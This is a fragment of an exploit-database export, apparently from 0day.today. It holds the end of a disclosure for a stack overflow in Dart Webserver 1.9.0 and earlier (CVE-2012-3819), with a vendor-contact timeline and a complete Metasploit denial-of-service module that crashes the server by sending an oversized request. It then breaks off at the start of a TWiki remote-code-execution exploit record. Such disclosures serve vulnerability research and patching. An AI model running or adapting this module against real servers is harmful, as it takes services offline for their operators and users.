If the request is large,\r\nmultiple copies are made and stored on the stack, this consumes the\r\namount of stack space available to the process quickly, leading to a\r\nstack overflow exception being thrown. This exception is not handled\r\nand will typically lead to the termination of the parent process. Some\r\nvariations may exist per system depending on pre-existing memory\r\nconditions and modification of Proof Of Concept (PoC) code may be\r\nnecessary to reproduce the exception.\r\n\r\nTimeline\r\n===============\r\n10/20/2011 - Discovered the bug in an affected vendor application\r\n10/20/2011 - Contacted affected vendor\r\n10/21/2011 - Affected vendor replies stating they can not get the\r\nproduct vendor to create a fix\r\n06/29/2012 - CVE assignment\r\n08/08/2012 - Contacted product vendor providing specifics\r\n08/20/2012 - Product vendor created an issue number (#5654) for the\r\nbug, but reply \"there are not immediate plans to resolve the issue\"\r\n09/28/2012 - Posting to bugtraq, for the first time ever ;-)\r\n\r\nPoC (MSF Module)\r\n===============\r\nrequire 'msf/core'\r\n\r\nclass Metasploit3 < Msf::Auxiliary\r\ninclude Msf::Exploit::Remote::Tcp\r\ninclude Msf::Auxiliary::Dos\r\n\r\ndef initialize(info = {})\r\n super(update_info(info,\r\n 'Description' => %q{ 'Name' => 'Dart Webserver\r\n<= 1.9.0 Stack Overflow',\r\n Dart Webserver from Dart Communications throws a stack\r\noverflow exception\r\n when processing large requests.\r\n }\r\n ,\r\n 'Author' => [\r\n 'catatonicprime'\r\n ],\r\n 'Version' => '$Revision: 15513 $',\r\n 'License' => MSF_LICENSE,\r\n 'References' => [\r\n [ 'CVE', '2012-3819' ],\r\n ],\r\n 'DisclosureDate' => '9/28/2012'))\r\n\r\n register_options([\r\n Opt::RPORT(80),\r\n OptInt.new('SIZE', [ true, 'Estimated stack size to exhaust',\r\n'520000' ])\r\n ])\r\n end\r\n def run\r\n serverIP = datastore['RHOST']\r\n if (datastore['RPORT'].to_i != 80)\r\n serverIP += \":\" + datastore['RPORT'].to_s\r\n end\r\n size = datastore['SIZE']\r\n\r\n print_status(\"Crashing the server ...\")\r\n request = \"A\" * size + \"\\r\\n\\r\\n\"\r\n connect\r\n sock.put(request)\r\n disconnect\r\n\r\n end\r\nend\r\n\r\n\n\n# 0day.today [2016-04-20] #", "cvss": {"score": 0, "vector": "NONE"}, "sourceHref": "http://0day.today/exploit/19501", "hash": "7b5c4b4ae72c97a38e6c16ee43833e71cbf05df3e9f201508c701972bfdd56d3"}, {"lastseen": "2016-04-20T00:38:47", "references": [], "description": "Exploit for cgi platform in category web applications", "edition": 1, "reporter": "David Maciejak", "published": "2006-08-02T00:00:00", "type": "zdt", "title": "TWiki <= 4.0.4 (Configure Script) Remote Code Execution Exploit (meta)", "objectVersion": "1.0", "bulletinFamily": "exploit", "cvelist": [], "modified": "2006-08-02T00:00:00", "href": "http://0day.today/exploit/description/634", "id": "1337DAY-ID-634", "sourceData": "======================================================================\r\nTWiki <= 4.0.4 (Configure Script) Remote Code Execution Exploit (meta)\r\n======================================================================\r\n\r\n\r\n\r\n##\r\n# This file is part of the Metasploit Framework and may be redistributed\r\n# according to the licenses defined in the Authors field below.
